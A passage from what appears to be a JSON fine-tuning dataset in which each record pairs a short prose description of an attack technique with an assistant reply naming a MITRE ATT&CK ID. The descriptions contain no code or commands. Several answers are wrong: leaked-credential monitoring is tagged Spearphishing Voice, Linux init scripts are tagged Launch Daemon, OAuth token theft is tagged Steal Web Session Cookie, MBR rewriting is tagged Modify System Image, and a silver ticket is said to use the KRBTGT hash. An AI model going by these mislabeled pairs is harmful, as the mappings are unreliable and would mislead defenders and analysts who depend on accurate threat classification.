                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor deploys a DNS tunneling tool on a compromised DNS server to exfiltrate data via encoded DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed WMI over SMB to remotely run a command that downloaded and installed a cryptominer on multiple servers using the default admin shares."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A vulnerable Docker container had its volume mounted to the host, exposing the host's SSH private keys to the container."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary edits the system's init scripts to spawn a malicious process on system boot."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages encrypted MQTT messages to communicate with its botnet controller."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use ICMP echo request/reply packets to tunnel data and receive instructions from their C2 server."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors purchase a domain that closely resembles a corporate domain to conduct credential‑phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a server‑side request forgery (SSRF) vulnerability to access internal cookie stores and forge valid authentication cookies for privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operator monitors public forums for leaked credentials associated with the target organization."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious cron jobs were created that invoked sh commands to periodically exfiltrate data from the system."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary places a fake 'python.exe' in a directory that appears earlier in the PATH, causing scripts to run the malicious version."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware hijacks a thread's execution flow by scheduling an asynchronous procedure call, resulting in code injection."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking the Trust Provider, the attacker intercepts and alters authentication tokens, granting unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group issues WMI queries to enumerate installed software across the enterprise network."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware invokes Odbcconf via command line to install a rogue ODBC driver that executes a payload."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the 'wmic' command to start a process that runs a malicious PowerShell command."
            },
            {
                "role": "assistant",
                "content": "T1546 - Event Triggered Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers implement a domain generation algorithm that uses the victim's IP address and a rotating key to generate and resolve domains for C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker supplies a crafted XSL stylesheet that runs embedded scripts to execute code on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors performed a phishing campaign to obtain employee credentials, which were later used to authenticate to the corporate VPN."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script inspects the system's network adapters using WMI and filters for interfaces with a non-zero 'IPEnabled' property, indicating internet connectivity."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code waits for a predefined pattern of UDP packets across three ports before opening a communication channel."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team used the built‑in InstallUtil tool to register a back‑door DLL, enabling persistence and execution."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious Python script modifies firewall rules to allow inbound connections from the attacker."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the Zsh configuration file (~/.zshrc) to execute a remote PowerShell command whenever the user opens a terminal."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors disable the Windows Volume Shadow Copy service to prevent recovery."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors locate the SQLite database containing saved credentials in the Brave browser profile and decrypt them using the system key."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries rewrite the master boot record (MBR) to load a custom OS component."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group employs asymmetric encryption for its backdoor communications, using the victim's public key to secure data."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion attempts to determine the OS version by reading the 'CurrentVersion' key in HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers perform reverse IP lookups on the victim’s IP address to identify other domains hosted on the same server."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses online certificate repositories to search for digital certificates associated with the target organization."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CI runner executes a git pull from the private repository, storing the code in a temporary directory accessible to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks execution by exploiting the Windows service unquoted path issue: they add a malicious .exe in a folder that appears earlier in the search order than the intended binary."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a compromised IoT device to alter the authentication settings on a nearby gateway, disabling two‑factor authentication and enabling plain‑text login."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant includes a routine that deliberately crashes critical services to deny access to the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker emails a senior manager a message appearing to be from the IT helpdesk, including a link to a malicious PDF hosted on a compromised cloud storage service that triggers a drive‑by download."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a stolen Kerberos ticket (Golden Ticket), the attacker accesses additional resources across the network."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder creates a hidden scheduled task that calls wmic to download and execute a backdoor from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Windows Defender exclusion list to allow malicious files to run unchecked."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a botnet to send ICMP echo requests at a high rate to a specific server, causing the endpoint to become unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group copies malicious binaries to a victim's file share and executes them via scheduled tasks on other hosts."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor's implant monitors for a specific time delay after boot before performing any malicious actions, aiming to bypass sandbox analysis that typically runs for a limited time."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary uses DNS to resolve a domain whose IP address is generated by a DGA, calculating the address at execution time."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers replace system binaries with malicious versions to disrupt normal functionality."
            },
            {
                "role": "assistant",
                "content": "T1564 - Hide Artifacts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet was acquired by exploiting vulnerable VPN endpoints, providing a stealthy platform for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is spread via a USB flash drive that contains an infected Word document with a malicious macro, which activates when the document is opened on the target system."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker conducts a vishing attack by exploiting a recent news event, calling the target and asking them to confirm personal details to receive emergency assistance."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor steals OAuth tokens from a compromised web application to impersonate users."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a scheduled task, the adversary called 'cmd /c' to execute a PowerShell command for persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages reflective DoS using Memcached servers, sending spoofed requests that cause large responses to be sent to the victim."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker distributes a malicious installer disguised as a game; when a user runs it, the backdoor installs."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modified the settings of existing Azure Virtual Machines, increasing resource limits to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary abuses a race condition in a privileged Unix daemon to elevate privileges to root."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script reads the /etc/group file on a Linux server to discover group membership information."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant reads the NTDS.dit file to retrieve cached domain credentials without contacting the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group leverages the Windows LoadLibrary function to load a custom DLL into a privileged service process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used compromised AWS credentials to call TerminateInstances and shut down a target EC2 virtual machine."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a custom icon in a malicious shortcut to masquerade as a printer driver installer, deceiving the user into executing the embedded script."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors write a custom ransomware encryptor that targets network shares first."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised domain user account to request a service ticket for a privileged service, then modifies the ticket using the stolen KRBTGT hash to create a silver ticket for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages rundll32.exe to load a malicious library located in the user's AppData folder."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A social engineering call convinces a user to reveal their Active Directory credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code is designed to detect when a removable storage device is inserted and then copy itself to the device, ensuring propagation to another system when the media is later used elsewhere."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware uses a custom binary protocol over UDP to send heartbeat signals to its controller."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the network replaces the authentication credentials stored in the device's local database."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary establishes a sequence of specific network packets on a closed port, only opening the service after the correct sequence is observed, effectively implementing port knocking."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use infected USB flash drives left in public places to spread a worm that copies itself onto any newly connected removable media."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group extracts a stolen private key from a Windows certificate store to create forged TLS certificates for man‑in‑the‑middle attacks."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a known vulnerability in a third‑party library to acquire a working exploit that can be deployed in the victim environment."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware changes the trusted publisher list in the OS registry, enabling execution of malicious binaries signed with a forged certificate."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party widget was used to inject malicious HTML into the site, resulting in visible defacement."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employs a Python script that reads a JSON file encoded with gzip and base64, then decodes it for further processing."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor transfers a stolen credential dumping tool via a shared network folder to a neighboring server before executing it there."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ Pass the Hash technique to authenticate to remote systems using stolen NTLM hashes."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker launches a malicious DLL using rundll32.exe from a temporary directory to bypass native defenses."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
